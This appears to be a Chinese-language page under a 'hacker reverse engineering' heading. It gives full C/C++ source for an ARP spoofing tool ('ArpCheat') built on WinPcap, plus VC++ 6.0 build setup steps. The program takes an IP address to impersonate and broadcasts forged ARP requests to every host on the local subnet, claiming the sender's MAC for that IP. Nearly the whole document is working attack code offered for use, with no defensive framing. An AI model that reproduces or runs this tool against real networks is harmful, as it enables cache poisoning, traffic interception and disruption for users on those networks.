黑客反向工程

//ArpCheat.h #ifndef MY_ARP_CHEAT_INCLUDE_H #define MY_ARP_CHEAT_INCLUDE_H //字节对齐必须是1 #pragma pack (1) struct ethernet_head { unsigned char dest_mac[6]; //目标主机MAC地址 unsigned char source_mac[6]; //源端MAC地址 unsigned short eh_type; //以太网类型 }; struct arp_head { unsigned short hardware_type; //硬件类型：以太网接口类型为1 unsigned short protocol_type; //协议类型：IP协议类型为0X0800 unsigned char add_len; //硬件地址长度：MAC地址长度为6B unsigned char pro_len; //协议地址长度：IP地址长度为4B unsigned short option; //操作：ARP请求为1，ARP应答为2 unsigned char sour_addr[6]; //源MAC地址：发送方的MAC地址 unsigned long sour_ip; //源IP地址：发送方的IP地址 unsigned char dest_addr[6]; //目的MAC地址：ARP请求中该字段没有意义；ARP响应中为接收方的MAC地址 unsigned long dest_ip; //目的IP地址：ARP请求中为请求解析的IP地址；ARP响应中为接收方的IP地址 unsigned char padding[18]; }; struct arp_packet //最终arp包结构 { ethernet_head eth; //以太网头部 arp_head arp; //arp数据包头部 }; #pragma pack () /** * 获得网卡的MAC地址 * pDevName 网卡的设备名称 */ unsigned char* GetSelfMac(char* pDevName); /** * 封装ARP请求包 * source_mac 源MAC地址 * srcIP 源IP * destIP 目的IP */ unsigned char* BuildArpPacket(unsigned char* source_mac, unsigned long srcIP, unsigned long destIP); #endif //ArpCheat.cpp #include <stdio.h> #include <pcap.h> #include <conio.h> #include <packet32.h> #include <ntddndis.h> #include "ArpCheat.h" int main(int argc,char* argv[]){ pcap_if_t *alldevs; //全部网卡列表 pcap_if_t *d; //一个网卡 int inum; //用户选择的网卡序号 int i=0; //循环变量 pcap_t *adhandle; //一个pcap实例 char errbuf[PCAP_ERRBUF_SIZE]; //错误缓冲区 unsigned char *mac; //本机MAC地址 unsigned char *packet; //ARP包 unsigned long fakeIp; //要伪装成的IP地址 pcap_addr_t *pAddr; //网卡地址 unsigned long ip; //IP地址 unsigned long netmask; //子网掩码 if(argc!=2){ printf("Usage: %s inet_addr\n",argv[0]); return -1; } //从参数列表获得要伪装的IP地址 fakeIp = inet_addr(argv[1]); if(INADDR_NONE==fakeIp){ fprintf(stderr,"Invalid IP: %s\n",argv[1]); return -1; } /* 获得本机网卡列表 */ if (pcap_findalldevs_ex(PCAP_SRC_IF_STRING, NULL, &alldevs, errbuf) == -1) { fprintf(stderr,"Error in pcap_findalldevs: %s\n", errbuf); exit(1); } /* 打印网卡列表 */ for(d=alldevs; d; d=d->next) { printf("%d", ++i); if (d->description) printf(". %s\n", d->description); else printf(". No description available\n"); } //如果没有发现网卡 if(i==0) { printf("\nNo interfaces found! Make sure WinPcap is installed.\n"); return -1; } //请用户选择一个网卡 printf("Enter the interface number (1-%d):",i); scanf("%d", &inum); //如果用户选择的网卡序号超出有效范围，则退出 if(inum < 1 || inum > i) { printf("\nInterface number out of range.\n"); /* Free the device list */ pcap_freealldevs(alldevs); return -1; } /* 移动指针到用户选择的网卡 */ for(d=alldevs, i=0; i< inum-1 ;d=d->next, i++); mac = GetSelfMac(d->name+8); //+8以去掉"rpcap://" printf("发送ARP欺骗包，本机(%.2X-%.2X-%.2X-%.2X-%.2X-%.2X) 试图伪装成%s\n", mac[0],mac[1],mac[2],mac[3],mac[4],mac[5],argv[1]); /* 打开网卡 */ if ( (adhandle= pcap_open(d->name, // name of the device 65536, // portion of the packet to capture 0, //open flag 1000, // read timeout NULL, // authentication on the remote machine errbuf // error buffer ) ) == NULL) { fprintf(stderr,"\nUnable to open the adapter. %s is not supported by WinPcap\n", d->name); /* Free the device list */ pcap_freealldevs(alldevs); return -1; } for(pAddr=d->addresses; pAddr; pAddr=pAddr->next){ //得到用户选择的网卡的一个IP地址 ip = ((struct sockaddr_in *)pAddr->addr)->sin_addr.s_addr; //得到该IP地址对应的子网掩码 netmask = ((struct sockaddr_in *)(pAddr->netmask))->sin_addr.S_un.S_addr; if (!ip || !netmask){ continue; } //看看这个IP和要伪装的IP是否在同一个子网 if((ip&netmask)!=(fakeIp&netmask)){ continue; //如果不在一个子网，继续遍历地址列表 } unsigned long netsize = ntohl(~netmask); //网络中主机数 unsigned long net = ip & netmask; //子网地址 for(unsigned long n=1; n<netsize; n++){ //第i台主机的IP地址，网络字节顺序 unsigned long destIp = net | htonl(n); //构建假的ARP请求包，达到本机伪装成给定的IP地址的目的 packet = BuildArpPacket(mac,fakeIp,destIp); if(pcap_sendpacket(adhandle, packet, 60)==-1){ fprintf(stderr,"pcap_sendpacket error.\n"); } } } return 0; } /** * 获得网卡的MAC地址 * pDevName 网卡的设备名称 */ unsigned char* GetSelfMac(char* pDevName){ static u_char mac[6]; memset(mac,0,sizeof(mac)); LPADAPTER lpAdapter = PacketOpenAdapter(pDevName); if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE)) { return NULL; } PPACKET_OID_DATA OidData = (PPACKET_OID_DATA)malloc(6 + sizeof(PACKET_OID_DATA)); if (OidData == NULL) { PacketCloseAdapter(lpAdapter); return NULL; } // // Retrieve the adapter MAC querying the NIC driver // OidData->Oid = OID_802_3_CURRENT_ADDRESS; OidData->Length = 6; memset(OidData->Data, 0, 6); BOOLEAN Status = PacketRequest(lpAdapter, FALSE, OidData); if(Status) { memcpy(mac,(u_char*)(OidData->Data),6); } free(OidData); PacketCloseAdapter(lpAdapter); return mac; } /** * 封装ARP请求包 * source_mac 源MAC地址 * srcIP 源IP * destIP 目的IP */ unsigned char* BuildArpPacket(unsigned char* source_mac, unsigned long srcIP,unsigned long destIP) { static struct arp_packet packet; //目的MAC地址为广播地址，FF-FF-FF-FF-FF-FF memset(packet.eth.dest_mac,0xFF,6); //源MAC地址 memcpy(packet.eth.source_mac,source_mac,6); //上层协议为ARP协议，0x0806 packet.eth.eh_type = htons(0x0806); //硬件类型，Ethernet是0x0001 packet.arp.hardware_type = htons(0x0001); //上层协议类型，IP为0x0800 packet.arp.protocol_type = htons(0x0800); //硬件地址长度：MAC地址长度为0x06 packet.arp.add_len = 0x06; //协议地址长度：IP地址长度为0x04 packet.arp.pro_len = 0x04; //操作：ARP请求为1 packet.arp.option = htons(0x0001); //源MAC地址 memcpy(packet.arp.sour_addr,source_mac,6); //源IP地址 packet.arp.sour_ip = srcIP; //目的MAC地址，填充0 memset(packet.arp.dest_addr,0,6); //目的IP地址 packet.arp.dest_ip = destIP; //填充数据，18B memset(packet.arp.padding,0,18); return (unsigned char*)&packet; } VC++ 6.0 中使用WinPcap 下载并安装WinPcap，安装之后在目录”C:\WINDOWS\system32“下WinPcap添加了Packet.dll、wpcap.dll。 增加WinPcap的include和lib路径： Tools→Options→Directories，其中include文件的路径增加WinPcap的include路径（其中有pcap.h等头文件），library文件的路径增加WinPcap的lib路径（其中有Packet.lib和wpcap.lib）。 增加项目的静态链接库： Project→Settings→Link→Object/library Modules，在文本框的末尾添加”wpcap.lib packet.lib ws2_32.lib“。 增加预编译信息： Project→Settings→C/C++→Preprocessor definitions，在文本框的末尾添加”WPCAP,HAVE_REMOTE“。